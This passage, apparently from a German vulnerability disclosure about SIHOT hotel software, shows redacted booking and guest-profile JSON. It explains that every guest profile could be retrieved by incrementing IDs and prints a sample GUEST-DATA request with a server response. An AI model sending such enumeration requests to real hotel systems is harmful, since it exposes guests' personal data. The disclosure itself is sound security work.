&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDSEATS_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;STATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_COUNTRY_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXT_REFERENCE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VOUCHERNUMBER&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;WEB_PRE_CHECKIN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISBUMPEDOUT&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;N&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCLIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTCHILDREN_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INVOICEHOLDER_LIST&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEFAULTPAYMENTTYPE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PAYMENTTYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCLIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCHANDLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CCNO&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEP_TIME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CURRENCY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_POST_COMMISSION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_TYPE_DEPARTURE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;T_TITLE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_AMOUNTBAGGAGE_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PICKUP_CITY_ARRIVAL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2025-01-██&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CITY2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;FAX2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXTCOMMENT_C&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEPOSIT_DATE2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;POST_AREA&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEPOSIT_DATE1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;VIP2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DEPOSIT_DATE3&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TN&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;███&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_PROPERTY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;UUID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;█████████-████-████-████-█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██████████████████&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/details&gt;
&lt;p&gt;Jeder Gast bekommt vom System ein Profil, mit seinem Namen, Adresse, E-Mail-Adresse, Telefonnummer, &amp;hellip;
Als Gast gilt hier die Person, die ein Hotelzimmer bucht &amp;ndash; aber auch jede Person, die zusätzlich in diesem Zimmer übernachtet.
Auch diese Gästeprofile konnten alle durch einfaches Hochzählen abgerufen werden.&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_DOCUMENT&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;GUEST-DATA&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;50123&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;details&gt;
    &lt;summary&gt;Beispielhafte Antwort des Servers (Klicken zum Ausklappen)&lt;/summary&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_Document&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MSG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;OK&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SIHOT_Version&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EXE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;S:&amp;amp;#92;SIHOT&amp;amp;#92;SINETRES.EXE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;Version&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1100.05.00.0261&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RC&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;AGUESTLIST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUEST&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;INTERNALGUESTTYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ZIP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;ISO_LANG&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;de&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;TAX_NUMBER3&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DATA_PROTECTION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRYDESCR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Deutschland&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;RATE_TYPES&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_EXPEDITION_COUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SALES_PERSON_DESCR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_SUBNR&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DISCOUNT_GROUP&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NATION&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COUNTRY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;DE&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOB&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;██-█-█&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PWD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;SPECIALPRICE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PLACE_OF_BIRTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRALGUEST_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;DOCUMENT_DATE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL_SUBSCRIPTION_HOTEL&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL2&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;NAME&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;EMAIL1&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;███████@█████████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMPANY&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PASSWORD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;GUESTTYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;1&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;CENTRALGUEST_ID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;0&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;MATCHCODE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;OBJID&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;PWD&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;COMPANY&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;████████████████&amp;#34;&lt;/span&gt;
